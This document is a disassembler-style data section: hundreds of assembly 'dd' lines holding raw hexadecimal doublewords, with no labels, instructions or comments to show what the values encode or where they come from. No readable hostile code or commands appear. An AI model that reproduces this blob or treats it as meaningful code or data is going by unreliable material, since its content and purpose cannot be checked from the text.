		dd 7F0792A7h, 407BC9CDh, 0EF02937h, 1E6F1F7Ah, 40F2B0A9h
		dd 0ADB4BC48h, 0FB07F0E6h, 9D7EFC8Ch, 0E6C559FCh, 2C291DF9h
		dd 368AE30h, 58EAB095h,	0DBF61A80h, 4B617A3Eh, 3080A8D4h
		dd 0CCE38C5h, 52B30D0Fh, 64243350h, 1D814CE1h, 3AA18534h
		dd 0A4991180h, 6B15BBDDh, 302C6F26h, 9739F880h,	33CF01h
		dd 9332FA7Bh, 14C9A25Fh, 92847F12h, 77A36C41h, 63C8D967h
		dd 539F3734h, 0B0E3A719h, 9C2BF80Fh, 22D6162Ch,	74910201h
		dd 60F821B1h, 5C7F5DC2h, 0C0DC2Bh, 0AD43FC14h, 0C892B310h
		dd 1C4FC000h, 0F15C139Ch, 708B2634h, 14D300F7h,	924E0BF4h
		dd 0A401D87Dh, 0F09650BFh, 3EF4948Ah, 678700DFh, 0ED78B9C2h
		dd 8C008E2Ch, 0CC2414A9h, 7F4640E9h, 83160070h,	32C9BC91h
		dd 0B1F85BB4h, 0E6779700h, 0F619D5B2h, 734B1F4Ch, 76E48045h
		dd 0BB524DEEh, 6B000976h, 932EC0D0h, 72CBAC50h,	77D40F14h
		dd 61274FF0h, 9FAAFDh, 630857F1h, 5D001731h, 5F67C390h
		dd 7F6187Fh, 0A03CC4E7h, 0BD39812Ah, 0EC59E153h, 26601C8Ch
		dd 3D638D78h, 1FB005Eh,	4DFD344Eh, 8300E6BAh, 7C41EC98h
		dd 4B7504Ah, 88B5175Eh,	0D54CF0A8h, 0DDED0307h,	0C1E0334Bh
		dd 0E68F81Ch, 20406287h, 0E2C8F980h, 19765FD9h,	42462113h
		dd 1495B080h, 97C0AB47h, 24DABB61h, 52301180h, 0C21CFE1Dh
		dd 0BCE92528h, 3112800h, 0BDFB3C3Dh, 0DAAE07E1h, 50FACF3Eh
		dd 4F4DBADCh, 16A6900h,	0DE44E60Dh, 0D0380378h,	2BCE40C7h
		dd 0EC4D46C1h, 0AE004F20h, 0A819C1E8h, 0EF5886h, 3FDF82D2h
		dd 0F921BC0Fh, 0FB811C00h, 7588E753h, 6D0E0097h, 843AFEBBh
		dd 0D4B00315h, 892E501Eh, 0A6C3EBC0h, 0CDA03Dh,	0D177F978h
		dd 5611182Ch, 30E6F100h, 8658A18Fh, 475C0022h, 0F076B1AAh
		dd 19731B9Eh, 0EC00034Fh, 0DAA8933Ch, 0D0A16597h, 0F5C08044h
		dd 0AB0028B6h, 58964279h, 27B3728Bh, 0E848BFF6h, 0A307305Eh
		dd 0D2EA0AB7h, 644AFCE0h, 0B2701811h, 6F2A68AEh, 80D93E3Eh
		dd 382CC292h, 1F0C6DF6h, 0C2BD06A3h, 0B071F27Eh, 1F090078h
		dd 806B0B7Fh, 2D53E504h, 0AA4D18A0h, 4794702Bh,	56191304h
		dd 0CB47EDFh, 0EF7600BFh, 8814B172h, 5B1512A1h,	201031DFh
		dd 6C994073h, 8B747974h, 0BAFBDE12h, 3B60CC8h, 0C80B7C75h
		dd 0C7F0C6DCh, 744BAAF8h, 9103540Fh, 2152D782h,	151904E0h
		dd 69745009h, 0EEC85214h, 0BA227DA4h, 767C2C14h, 0C6B100ECh
		dd 78E35BF4h, 420E60CEh, 54BFC155h, 35DE8A10h, 65B3015Ch
		dd 80BC9B50h, 0B5C09D08h, 5C4CEFh, 6D3A7B89h, 9C901B4Fh
		dd 93A1F000h, 87EAFEE2h, 27FF25CAh, 0F01E6091h,	0E61F0FABh
		dd 0DFDDBBCFh, 0A4B44600h, 0D73B3Ch, 6F5324Ah, 0E01DEE82h
		dd 71799D58h, 0D5CF6500h, 0F3D623DBh, 0D0690007h, 78B8F737h
		dd 67303F21h, 7E815271h, 9B400F4h, 77C65684h, 0A007D0Dh
		dd 0D021DA28h, 4002CBh,	0BDD7C10Eh, 6B627E03h, 26EEB200h
		dd 7B41F584h, 20D1FA4h,	13E70028h, 81E3D53Ah, 11553500h
		dd 0EA9BB90Bh, 4BC70086h, 6B14579Ch, 7500B712h,	0DDC1CEBDh
		dd 0A03ED0E6h, 3DAFFDCCh, 0BC8011C9h, 8DB2375Bh, 0D72ED3B7h
		dd 0B10088C5h, 1502B678h, 0A7EF0265h, 9089B3E0h, 92E5AEE0h
		dd 7F66DF1Ch, 0FF78CF83h, 0C38AB886h, 94E10076h, 0A8BA208h
		dd 185EB839h, 0E8F0D440h, 7E4B9B9Eh, 8C2B02D9h,	0EDE035EEh
		dd 9A248080h, 1500A0B6h, 0F0ECDED7h, 3BEE6Bh, 22DC06E6h
		dd 354B7323h, 0F9C2711Eh, 0E9011B80h, 9A805C9h,	0CB28F8B2h
		dd 0C0B64CA0h, 21B83658h, 0E4AD8800h, 0E15F57BAh, 0B1F72CEEh
		dd 162E1378h, 0D9E84036h, 981FF1BCh, 0DB49700h,	129EFBFEh
		dd 8BD207F6h, 0D7F97Dh,	0DADDF5A0h, 5BA56C00h, 70CACB81h
		dd 49C40B48h, 2F80CCF1h, 1203C710h, 5EF61C90h, 0A31C9613h
		dd 0F4970C81h, 8FE0587Ch, 0AA00764Bh, 379CE412h, 58E1EEDh
		dd 5990C686h, 5890201h,	34526709h, 3D0D3Ch, 0A0F4350Bh
		dd 0B828B829h, 0D04F3058h, 477254A0h, 0DDC21500h, 0D8582C51h
		dd 0D2C11C49h, 0C39400C4h, 0AA33DB0Fh, 2C923498h, 69F7FF09h
		dd 8BA440E0h, 1E037891h, 62F634h, 0D060C317h, 0AA0751F7h
		dd 3DB7AA8h, 4A782EB0h,	0E4E500ABh, 0A77E1E9Eh,	481C6975h
		dd 0A2035367h, 0D8F0B008h, 70CE3DEh, 12E9CF6Ah,	7F7A9041h
		dd 4075CD47h, 81634600h, 0C1A05B10h, 0C2090102h, 7BFA5C69h
		dd 87B4410Eh, 4AAC20ACh, 28D52600h, 66C5A788h, 14CC0E44h
		dd 19AAFA9Bh, 325000E8h, 3B7C8DFh, 0A4F71B00h, 65C985CCh
		dd 0E920B5Dh, 0C080B881h, 172FC883h, 0B1A6A4A8h, 0F727FE00h
		dd 85BC1C8Dh, 7FC3017Ch, 7D18DF24h, 54BF0DDh, 7960C539h
		dd 0F87C8128h, 5BF282Fh, 0BCC00EECh, 0C99A33C2h, 3A0F3B8Eh
		dd 41CEC080h, 257165E6h, 3CF6E424h, 0EC841A80h,	1C5E23Ch
		dd 66631135h, 0EDF4A1B9h, 15E5E42Bh, 7C6A4602h,	54CA8ACDh
		dd 2C920044h, 26053C13h, 0A8234212h, 9CB70000h,	4592B38h
		dd 8793643Fh, 163C90AAh, 6007ADA5h, 0FB1D17D5h,	6A808697h
		dd 2A12D7h, 753DC632h, 0AEE0BA6Bh, 173C7B00h, 16AA2623h
		dd 7A700331h, 0A8C61B7Dh, 4351EDE8h, 0D284C300h, 0F4AAB3BEh
		dd 0E3E420h, 1405E5D5h,	0F173B226h, 22832F27h, 0E17F9BC8h
		dd 0C838AA56h, 637B5D08h, 173D4A07h, 862195D0h,	27C900A9h
		dd 710D5837h, 0EF0FD606h, 60CF8C4Ah, 7D32A20Ah,	0DBC0004Bh
		dd 0D2920C89h, 0A900DFFBh, 9D28BD99h, 16170F4Dh, 0E5857Bh
		dd 0BF37DEE8h, 0B5173D54h, 4400FA9Fh, 9811506Dh, 0D0410F35h
		dd 7C207F89h, 84E8F11Eh, 9448E50Bh, 0B46612h, 59E60B04h
		dd 5A037D36h, 0FFAEF400h, 0DFE26BFBh, 0CE1C00A1h, 9658CDF7h
		dd 0BE772192h, 0B935441Ch, 48E8B0C0h, 28710Ch, 0A45C655Eh
		dd 2D3931A2h, 8FF4890Eh, 1C0E0087h, 64EFF0h, 6AC571F1h
		dd 96A09D07h, 0A2407B00h, 0A42F12D3h, 3FB70034h, 4994A361h
		dd 460735D8h, 76556356h, 0BB172Fh, 0CBB525D0h, 809DFF57h
		dd 9D77A614h, 0E4F600B0h, 0A53E74D6h, 97004F52h, 0BCFC27AFh
		dd 9298F734h, 516900E4h, 7484F335h, 9BB0FB56h, 0B0005C94h
		dd 6B12E7C6h, 0B575009Ah, 64CD1B9Bh, 0D600AA52h, 0C27638EDh
		dd 21FCD1h, 0F9B5DDD3h,	6F2847C7h, 1558CB00h, 0BC354641h
		dd 387B66h, 248CEEACh, 7B450A26h, 0F40E6112h, 424F0C45h
		dd 1FAD8CF0h, 0C1FA94A6h, 8DB9557Fh, 7B7EF03Fh,	1CA23Ah
		dd 6FDFEA1Ah, 0FE09648h, 8556ECC7h, 3F50E1A0h, 992683B1h
		dd 690020B8h, 0C602752Ah, 0E9AF39D5h, 0B7F22E80h, 0A0AC1CE4h
		dd 4049EC60h, 3BA1E07h,	0B89DAA1Dh, 28E1733Eh, 458AFC60h
		dd 0AD486B77h, 0C69016Ch, 0A4DABDE4h, 607BB420h, 4ECEC1FEh
		dd 800D147h, 0B6336990h, 0F06659h, 918E11DDh, 515064C1h
		dd 0F2C6F907h, 8120D6CAh, 4A764Ch, 54AC3595h, 66F73E1Eh
		dd 793F6900h, 0B89110A0h, 2DEE286h, 9DEE5F29h, 0E460048Fh
		dd 0ED7C78BAh, 9BE8E4ECh, 2B00F876h, 2D96710h, 0F7F64FBh
		dd 35E79E8Ch, 2D27B6E0h, 0BD035C62h, 85075E5Ah,	0C7AAC0F8h
		dd 4100030h, 923E953Ch,	0B7096741h, 6E9FFCh, 90DCBAD1h
		dd 10E49Bh, 88CE5D9Dh
		dd 2C6495D0h, 137E6000h, 80EE4809h, 734C004Ah, 470DEA8Eh
		dd 5BECF8B6h, 1021EB0h,	78452F84h, 74CC801Ch, 1D9ACB5Ch
		dd 869F777Ch, 8A3A4E9h,	0D22C2A09h, 6AE0A01Eh, 3FDB7BC6h
		dd 7C803D3Eh, 0AF69373Ch, 1F77F5A9h, 0B8E82B75h, 0BCFBA200h
		dd 442705D0h, 0F45516ADh, 36D800CCh, 0FFD794B4h, 72DF81A0h
		dd 3542B800h, 2E3AECFAh, 0A1460087h, 0D72C5C38h, 0B600B778h
		dd 5D3E1DEBh, 0D6F39Bh,	0CF53E265h, 8F89E088h, 0A5B3420Bh
		dd 4C7A61h, 4083EBA9h, 0CFFEC72Ah, 110270C0h, 35AB54Ch
		dd 2BE9EC95h, 37E0B36Ah, 443D569Eh, 4AD900AAh, 8091FA8Fh
		dd 43F803B5h, 0BF83795Dh, 4EC16E8h, 7E6CF34Ch, 0A80AAD00h
		dd 787A1C10h, 1C400C0h,	2CF3D7FBh, 6B13E772h, 0B0A086EBh
		dd 8D143A69h, 0B989D428h, 7ACC10E0h, 4B6234BEh,	1F487E07h
		dd 46123CEBh, 0BE88277h, 403CF33Ah, 0F7A90589h,	21EC7489h
		dd 0B0690F2Dh, 981CB87Bh, 5893111Ah, 4D18A600h,	5C12A450h
		dd 243450DFh, 4CBC4AC1h, 0DC907CF4h, 0C803D400h, 683370E7h
		dd 446D0073h, 88117ABCh, 0A20F3716h, 0A0978C79h, 77A4FDC5h
		dd 759801FBh, 9AD43ABAh, 0A776EC2Bh, 7C82A513h,	9467CA07h
		dd 45D5C330h, 0A98707BCh, 470780AEh, 4630339Bh,	821E0AC8h
		dd 6EC6841Ch, 937651C0h, 984ECDh, 3D17A8E2h, 0E927D547h
		dd 166C9C16h, 99086901h, 0C1804B73h, 0A51311ADh, 0D709E71Eh
		dd 8078BC8Ch, 57EC2B80h, 1C9030h, 0F5269799h, 78BD1384h
		dd 201A6E34h, 323FA447h, 38F88A44h, 0A0B0E7C0h,	448C2D12h
		dd 0F03F59Ch, 4E7BBCB1h, 1AE4B068h, 0D28D01FBh,	4114B293h
		dd 1C043E70h, 0F202594Ch, 0A476AF63h, 5C619C67h, 2C6A2F93h
		dd 0C2984104h, 0F4152C00h, 0CA938D05h, 584060ACh, 515CB504h
		dd 0F8F18181h, 3BC4013Fh, 10F9FFABh, 4F46780Eh,	0D4A89028h
		dd 184F7268h, 43505097h, 3F1C3DB5h, 0EA0C547Dh,	8F34225Ah
		dd 5203E101h, 0C36DFBECh, 0F604EDCh, 681F6F0Dh,	40CA25E0h
		dd 0EC006B42h, 4BE0A286h, 0EA1612Dh, 1A6C6509h,	0C08B1605h
		dd 6BBFD269h, 7C103600h, 295F8468h, 21F900FEh, 0FF17DF6Eh
		dd 0F6FA0F5Bh, 0CCAEE300h, 925E7732h, 0B1E3BB7h, 4AFEB380h
		dd 0F53CFA0Ch, 3A22A900h, 5D450199h, 0E39A0312h, 0E18C5E09h
		dd 55DDFA90h, 642BD101h, 85B0CB4Ch, 60BE5CF0h, 0EB7F18DEh
		dd 8C1DDDFFh, 69078EECh, 0E0AF4F73h, 16C9AA76h,	7D08CFAFh
		dd 9A4C2058h, 0D0074F7Dh, 5A1DED59h, 89D23EA0h,	0C44130ECh
		dd 19E38E08h, 960FB800h, 5062DE5h, 61691977h, 0D0EF21D6h
		dd 0B36046C9h, 2A423D11h, 355003CEh, 4D488BCFh,	21AC0832h
		dd 81EAE0F4h, 39FF03CCh, 0F661B688h, 1E1473D0h,	2EA5340Dh
		dd 0F9E3D0E7h, 9887DA6Dh, 20FAD736h, 0E35E255Dh, 78C13518h
		dd 0FD89F088h, 0C091B1E0h, 23C95B10h, 45013C1Bh, 0B30D7B0Bh
		dd 2AFC65E7h, 27E03C34h, 0DE973500h, 5B56E652h,	0AA12DD00h
		dd 0FBAD2378h, 6ACE0003h, 0F86CD726h, 4C002D08h, 0A7796785h
		dd 334E17h, 5BDDEC8Fh, 0B1026A86h, 82900603h, 0B02578BBh
		dd 0ADBAACh, 0B349A88Dh, 2FF03A16h, 7C6E520Fh, 0B44018CBh
		dd 8266F5Bh, 865D1100h,	0DE00C75Fh, 0F1926B8Dh,	188ABA06h
		dd 31012E4Ah, 731D4816h, 8E9B7517h, 0AA25E158h,	19FCC330h
		dd 8029BE8Fh, 20FDF193h, 63EA510h, 193A3098h, 2F03503h
		dd 995C51B5h, 332014E2h, 738D04A6h, 348FC69h, 0FAE087EDh
		dd 0EC9077B6h, 0A0016E1h, 11BFB1A7h, 9AC37Bh, 3A18012Dh
		dd 0F5834EEh, 258C50F1h, 0EEB0ADCFh, 0AAC97B1Dh, 8347B80Eh
		dd 315972Fh, 650671C9h,	117F3B5Ah, 3CFFB800h, 7717EDEFh
		dd 7E8200D5h, 3FFCF790h, 0A8C03DE3h, 0BFAAD75Bh, 741B74A5h
		dd 1CE900F1h, 1246964Ch, 530037E7h, 0C92D2F7Ah,	1671DDCh
		dd 0B16F59F8h, 6027C66Dh, 0AD00D6F8h, 0E8AF55Dh, 9798BDDFh
		dd 0B5A0C463h, 0D04C7BF7h, 9F550378h, 30CCE020h, 1B215009h
		dd 61B87BC8h, 6D0368EAh, 88192D04h, 492001F5h, 0DBD4CF5Ch
		dd 1710815Bh, 79821FEFh, 31E834D4h, 0E08FFB1h, 1C20805Ch
		dd 15B31FE7h, 6A400F8Dh, 7421A156h, 0D85884B4h,	14758A91h
		dd 59F0801Bh, 33583A80h, 0BA401C0Ch, 4F001511h,	22ADD097h
		dd 633A94E0h, 0DC19081Bh, 21FA2001h, 0AD926597h, 6051C20h
		dd 2DA454DFh, 0CC0A5875h, 886550AEh, 0A80CDE01h, 1888F108h
		dd 94A0408Eh, 0C9396A46h, 0A7552908h, 0C4133C4h, 30227BC1h
		dd 500666EAh, 0DAD2B3AAh, 0F458C648h, 53077160h, 0ACC9EBB2h
		dd 0A1EFB6C0h, 0FB2B0339h, 3AC6FE0Ch, 0C1319E98h, 0EAD17700h
		dd 88C47E90h, 0D0DD0746h, 20BCE4EDh, 7C3E18CAh,	76CE8D00h
		dd 9392C901h, 8BFA010Eh, 97EB28CBh, 8769E806h, 7500B4FCh
		dd 59D171AAh, 0D067FCh,	8197F9EBh, 0B3F1D965h, 0E7CAD707h
		dd 273B32A3h, 2520BEE9h, 788310Dh, 8C09382Dh, 0EB3AD075h
		dd 0D1009D24h, 0B88236A8h, 7D67B62h, 34235B58h,	0AE7D60B3h
		dd 3C0EE531h, 2F21FBA5h, 0A93661FFh, 0EED45C2Bh, 78B0005Dh
		dd 19278729h, 1006420h,	0A0E7ED67h, 33E62B6h, 21E83ACCh
		dd 9003378Fh, 9810E549h, 5B60A9B1h, 76AD7B60h, 0C6C0009Ch
		dd 0B192812h, 7000B3DAh, 547E7950h, 10701DEh, 0EB4A22D5h
		dd 0CC4C2953h, 410E2619h, 3858DD3Ah, 613422A0h,	0AF8E19DFh
		dd 378040A7h, 644C25FAh, 497A07D6h, 8BE7A943h, 80A0906Ah
		dd 300C5220h, 1DA9D021h, 300891Ah, 0F38AFD59h, 30F8A7h
		dd 0D5CEFCABh, 7911A1C8h, 825D7D00h, 54C59B9Ah,	3C00083h
		dd 2DF1A48Ah, 5E00D837h, 252456E0h, 58213FACh, 2C002006h
		dd 0A3440514h, 98003730h, 0C04C2BDAh, 0B2EA7Ah,	0D00F890Bh
		dd 0CFC75BBCh, 2C60B8E8h, 0B2B7B120h, 0E2DB06BFh, 39E045AEh
		dd 6CFEB90Ch, 0D8A548BBh, 77CE1820h, 6D252900h,	0A340B64Ah
		dd 0AE980113h, 73B2D411h, 0A07984C6h, 9D806C29h, 33F01C94h
		dd 0C8089D39h, 77032100h, 363D9B6Bh, 508F0069h,	0C04B7FE2h
		dd 0B60044DAh, 9F405576h, 6D8A02h, 9BD50CCEh, 74E9163Bh
		dd 8029C9h, 0E7CF963Fh,	1CD76BFh, 0DC4D28B8h, 0E635B0AEh
		dd 6149A80h, 440108AAh,	113FE60Ch, 0AD0EDB7h, 551C0EB9h
		dd 0E2A0A141h, 0A9D84342h, 30455730h, 0C709B1CFh, 8D232B68h
		dd 84808328h, 1C5A4B6h,	57F30C9h, 0D49A3315h, 5B54BACCh
		dd 0C900DAA0h, 9BEBBBC3h, 1D40E0B9h, 1FDBCC80h,	8C0E00EFh
		dd 8BC01189h, 69F36830h, 31B01ACh, 8FFF84EEh, 90937D07h
		dd 0C4A0C8A2h, 251B103Dh, 0ADB0C900h, 23337943h, 0BAA40C05h
		dd 7A790388h, 0A1B98936h, 19696F78h, 2E390903h,	2A462F0h
		dd 164BFA06h, 0EE2107BCh, 6C8700AAh, 69C9FF5h, 0A7742FB1h
		dd 0C180F87Dh, 118738B9h, 42E51580h, 5E47EDB6h,	0B50FE47Dh
		dd 6AF2C02h, 1B30FE3Dh,	794683B9h, 917C3EE3h, 3B8E1702h
		dd 822E87BBh, 21CCC658h, 402CCB91h, 60D6A014h, 0F5E04600h
		dd 0EA6494E7h, 0BEC70370h, 0D02F886Ah, 2283CEE9h, 14CDC554h
		dd 7FBD59C0h, 153C0021h, 1082AFEBh, 39027D62h, 1CB3DCD0h
		dd 0FC4C413Fh, 8CED6020h, 1F106CE0h, 2E0ACF1h, 17006B72h
		dd 0CEB9438Dh, 0C0314EBBh, 61EB8FD1h, 143C8451h, 0A47C00E0h
		dd 1A08D6B0h, 0F87856C0h, 0EB1B0A02h, 0C433F784h, 1B158640h
		dd 2C022E08h, 3BD7919Dh, 0B990A7B6h, 7C08AEF5h,	57968071h
		dd 5BD40E1Eh, 0D17ACBFAh
		dd 71056930h, 3E9FC2h, 0B0898BB9h, 0BE3FAFFFh, 0AC6CF903h
		dd 267C7B02h, 176D4C29h, 0D46F05B3h, 0F48C60F1h, 8CF4AB6Bh
		dd 6CF448Ch, 106B7600h,	60E427A9h, 1F440236h, 15ABBECh
		dd 1D0B90A1h, 8004E5E0h, 0AAF29C11h, 0A55F2Ch, 0EBF04935h
		dd 7ADE40D9h, 39864400h, 309D78C1h, 6C9B22h, 890EB2C9h
		dd 4486CFB7h, 0B2EA9CB6h, 0FCE85A12h, 51376040h, 2A940B8Bh
		dd 98BEA4h, 2F7E389Ah, 0A12E2D71h, 343A3600h, 8CEC034Eh
		dd 826402AAh, 0D7A5387Ch, 678AE0A4h, 84B91BA0h,	0C1904207h
		dd 1E1B0B8Ch, 0C0924D0h, 0D498153Dh, 3400F5C1h,	874065EDh
		dd 755BBC6h, 0F35EFD33h, 0EF04A42h, 3091F1ACh, 2CA4F9BCh
		dd 96551AB1h, 0A0824953h, 211CB72h, 3E257710h, 13009EE2h
		dd 78284BF4h, 181BBF0Ch, 319D6F80h, 50918268h, 79988183h
		dd 0E8407A30h, 4B8ACA1h, 890DB2E4h, 2EB362DFh, 2D00C8F4h
		dd 61129922h, 0B012839Ah, 202ED3DEh, 0BD00C423h, 752353ACh
		dd 975F009Eh, 3058DB37h, 0CC14F2DCh, 0B82CEC11h, 95078CC1h
		dd 70640CE9h, 4875E862h, 8C9C0Ch, 531C63D1h, 8FE0FF6Eh
		dd 491595Ch, 0F2BF68A2h, 25C494CBh, 5846304Ch, 5160034h
		dd 0F45DEC57h, 0BB191D1Bh, 68291982h, 2AFF048h,	76A266BFh
		dd 0EC9071BBh, 10F17410h, 5630AE0Bh, 0E502C836h, 0D7890AB2h
		dd 81313E30h, 0A588FFC8h, 0FB008C6Ah, 0D80FEB22h, 22803406h
		dd 0E202C77Ah, 0BAF5D752h, 2D04486h, 0ADD993FEh, 38903C30h
		dd 811B2B3h, 3F88C789h,	0B2A09A86h, 2173DCh, 0DE04CA58h
		dd 0C6801AD1h, 6183E9DFh, 14FCF5CEh, 30231511h,	6D563A0Ch
		dd 2C01E4F1h, 0CBE0647Ah, 2EA411h, 0E8A73542h, 743A49B0h
		dd 0E0F6AADBh, 0AEBDCC00h, 0FA84B444h, 80C700D6h, 0D9F3B8EFh
		dd 0A7269C0Bh, 4600E701h, 10A629B9h, 203F031Dh,	0F1913C11h
		dd 0E4AB8100h, 237DBA25h, 8B81Fh, 5464E633h, 0D54932F4h
		dd 0D8990098h, 0B6187579h, 9EA80E4Ah, 0CEDB7B05h, 0EC2CC87Dh
		dd 80127498h, 0E022C355h, 360820CAh, 67006652h,	325525B9h
		dd 0A9ACC4h, 0A7AFEC51h, 0DBC7B68Dh, 0BD7D6100h, 9492EAFAh
		dd 20E20CD9h, 4851C26Eh, 0E3ED7A03h, 0D7AA078Ah, 0A008E8D2h
		dd 0A61786F4h, 0BD700A3h, 0EB9920A0h, 0FF54CF12h, 1F122BACh
		dd 5820E8E0h, 13F4D9h, 0FC96B076h, 75D4B188h, 49E9D498h
		dd 0A0CC42F0h, 0BE6BB033h, 848443F1h, 0AF0090F9h, 71566846h
		dd 7FE822h, 25D33CB5h, 780A1E15h, 0C3D81F04h, 0A4C2238Eh
		dd 0C194A0C5h, 0D6E689h, 0BF536822h, 0AF9CA972h, 0B21AE700h
		dd 5908F6A4h, 76A10435h, 0CB9D71A7h, 0C9B8C86Ch, 0D8360B00h
		dd 39C7FB3Dh, 0F96C693Ah, 90851F04h, 0FD2700F2h, 25722484h
		dd 0CCA4EF2Ch, 0E38AFB40h, 0D85D000Fh, 0AFFEC7BEh, 551A58DDh
		dd 0B7997436h, 72B00B8h, 0EDCD95CAh, 0C6A2C300h, 0BAB61F4Eh
		dd 4C1D287h, 0BBFC34h, 76F0E2CEh, 2FC70E09h, 9823555Bh
		dd 8BA8A1FFh, 7E29F275h, 0B858449Ch, 1F03862Ch,	3DAE884Fh
		dd 60394CF0h, 8104FC22h, 5AC15D76h, 30B61082h, 0C4116B8Dh
		dd 0CE88F4F1h, 6B8B0780h, 98AA92A3h, 33F30C60h,	68D1AF56h
		dd 79B230F9h, 0A19D5F01h, 0D34A8CA8h, 16013870h, 28D0587Bh
		dd 5B7CAD8Ch, 7F30F548h, 2253BA00h, 6154D50h, 0CB9A5h
		dd 0D8E548C2h, 89003B9Fh, 4E5B62DCh, 0A2E07509h, 4548C280h
		dd 6034E4C8h, 3C68336Bh, 0A72E579Ah, 3C1D6344h,	970314A8h
		dd 9D9AC43Ah, 9868242Dh, 72029B46h, 9CF1B56Bh, 7C84E01Ch
		dd 422706Bh, 86B961D2h,	3448C8Ch, 6A4EC000h, 0BD05AC0Ah
		dd 8A1C021Fh, 0F944BBB2h, 740BBC48h, 820038B9h,	0FB5231B0h
		dd 475520FDh, 0DB1F0DF8h, 49C2E323h, 60EBDE3Ch,	2F4B1C98h
		dd 7CF64D44h, 46392026h, 1B2B801h, 0CD03F89h, 9B21C0E1h
		dd 8CFCB2EDh, 912A36F6h, 721FD8CEh, 1FE46F2Ah, 0EA1F5700h
		dd 7AF3EBC5h, 3E45009Fh, 0B34A621h, 3D027409h, 7C5D60E2h
		dd 0F134C1E1h, 610FAD10h, 0E219B501h, 3FE63B0Ch, 163E3E4h
		dd 7CDD7ED1h, 892CBE93h, 685DF218h, 0F975Ch, 0FEE39AB8h
		dd 39D04953h, 6D72F0Eh,	0BB227058h, 0AC9983E8h,	0B02E2C3Eh
		dd 7D714260h, 0B1BD0090h, 0C1628199h, 0E91E40E8h, 6304CBE4h
		dd 0D8B4717Ah, 1104003Fh, 437F927Dh, 891CC464h,	0D11F2DA3h
		dd 0CD159326h, 7AE3158Ch, 0E1FD02D8h, 40BB5870h, 155937h
		dd 53F54C4Dh, 7D63B326h, 0F0249519h, 0B8DD7AE8h, 71745DD0h
		dd 0E3BB2639h, 0A3004EB8h, 5A9CEA1h, 78CAA400h,	7F996867h
		dd 8263003Eh, 0C5884269h, 4C94D57Ah, 60237892h,	0F046AB0Ah
		dd 83289Ah, 58655B9Fh, 0E5F23203h, 80193F09h, 2F2C1071h
		dd 19813E1h, 0EF1408CCh, 0FB8AE69Fh, 1202C45Ch,	404AC9A6h
		dd 0EA237EF9h, 0F62C00A3h, 97B56D60h, 710C7B9Dh, 0C1F7E782h
		dd 0B6A6035Dh, 624187E6h, 0AC131588h, 0EB56B800h, 5EA89FABh
		dd 0E6C5284Bh, 70050080h, 0DFB62AE7h, 1A0239E5h, 0CF161F47h
		dd 26D0CC89h, 172810FDh, 0CCCC3155h, 0AFE0E389h, 0A015F92Ah
		dd 8473A4h, 0A2977E12h,	452457Ah, 0E2760EE0h, 0EE3A8049h
		dd 6B75E5A3h, 4FBBF30Dh, 99C35102h, 6180EC98h, 0EA329A2Fh
		dd 0DC995627h, 0C8FB4B01h, 0E2E0E7CBh, 45E000D1h, 515591C9h
		dd 98A05A01h, 9301A61Ah, 0D78D161Bh, 11204830h,	3D60016Dh
		dd 2E278911h, 6BCFCA4h,	284E79C0h, 67FA487Ah, 171E9839h
		dd 80B7700Bh, 83096208h, 0E45ABAA3h, 155422Ch, 4AE2FE09h
		dd 0E4EE8D46h, 0C72D0000h, 76E910C6h, 0A53032BBh, 0C18E31D7h
		dd 0B42300F0h, 0BA0D735Ah, 0CD078FDDh, 44E20689h, 5D96BCD0h
		dd 70D04991h, 0E91AF900h, 0EF071020h, 0ADFF3204h, 2E811826h
		dd 22CB8C89h, 6409C090h, 649DCBCEh, 0EDA401B0h,	53784412h
		dd 965AF473h, 1810E03h,	8980CB54h, 2310FB68h, 6F076D70h
		dd 4C843E17h, 51EA7992h, 0B39A07D0h, 40E0EE1Dh,	34CC3B1Ch
		dd 7798783Bh, 1531BB02h, 48E0E8DBh, 72F4F44h, 7BE49981h
		dd 0CBDD0093h, 2DEE5CBBh, 268E4E14h, 69D1C08Ch,	564B465h
		dd 0E2D80BF4h, 0DC9505B6h, 3FFAC1BFh, 0E054F806h, 52566000h
		dd 0AF01FE48h, 5A74A140h, 82A9A47h, 0F27D9300h,	7116FFEEh
		dd 11140019h, 7AD833B2h, 94A0893Eh, 6000E596h, 552FD468h
		dd 1724DAh, 39EDB302h, 0E5E7C49h, 0E6112C01h, 3F12D428h
		dd 0D897ECh, 9861D9CEh,	0CBC590B4h, 42DB4504h, 74C32333h
		dd 4DD9D15Ah, 192FC220h, 287ABD86h, 28297Dh, 0CD108DCCh
		dd 0C0493E15h, 91E93960h, 0CE28E0ABh, 40C014ACh, 0D91CBC9Ah
		dd 9BB00071h, 54CF8DC3h, 286FEC24h, 8AC8C238h, 7BECC493h
		dd 0C7EEF6h, 0B615AE25h, 0BBBACD90h, 86A891Dh, 7C208212h
		dd 50114F1h, 0D5D95859h, 768C01EBh, 0FC6DC651h,	9E4C8361h
		dd 0A3CB0104h, 0D9691908h, 0CA869980h, 0A29753Eh, 7F3CA400h
		dd 0B5C79EF7h, 805CB498h, 0E7057D5Ah, 4F79CF35h, 0AA3DDA03h
		dd 815722B1h, 607329D7h, 27596B04h, 0E500EA8Ah,	231D2EA1h
		dd 0A0C113ECh, 38D800EAh, 0F8AEF2C4h, 0FC90309Ah, 0D9FD44h
		dd 3C33FA8h, 0CE61E01Ah, 9FF83001h, 3B641CB3h, 3B697AD0h
		dd 7C7DDD6Dh, 0D8A44C85h, 4A17B880h, 7C03BEE6h,	44AB15E9h
		dd 3A7EE1C1h, 263FEDF8h, 0DCEE13h, 69CC061Fh, 0CD5B801Bh
		dd 0D0397C40h, 0B814C082h, 90CE54C8h, 3A810062h, 0F7489A99h
		dd 0E0F789D7h, 31015767h
		dd 562C7E50h, 97CF7F76h, 847D32E0h, 5C694BB8h, 0E01CBDFCh
		dd 2E540043h, 0DBC76796h, 220A38FEh, 0E85E4E6Ch, 317AB501h
		dd 1C63B1C5h, 64BE2F0Bh, 7335B400h, 0E358CE7Bh,	79E80C8h
		dd 0BB7CE0h, 5E355AC8h,	3401BA15h, 8286641Dh, 8800F712h
		dd 5C409B43h, 26547233h, 4000FEC5h, 801F697Bh, 0D4C6572Ch
		dd 8156006Fh, 8C8450h, 21FEE93Bh, 0A9E57210h, 3BA0014Ch
		dd 3252002Ch, 36BE2F8h,	69124B5h, 0A8C38014h, 0BCAB8A6Fh
		dd 42E59700h, 183EA06Eh, 0C97330B4h, 570F5169h,	0AFFB5Ch
		dd 0AEA1268Ah, 5CE103h,	0A3E98990h, 0D6587FB1h,	43031D2h
		dd 121329h, 96CE78B0h, 0BCAE706Ah, 0EF167506h, 0F231BAA4h
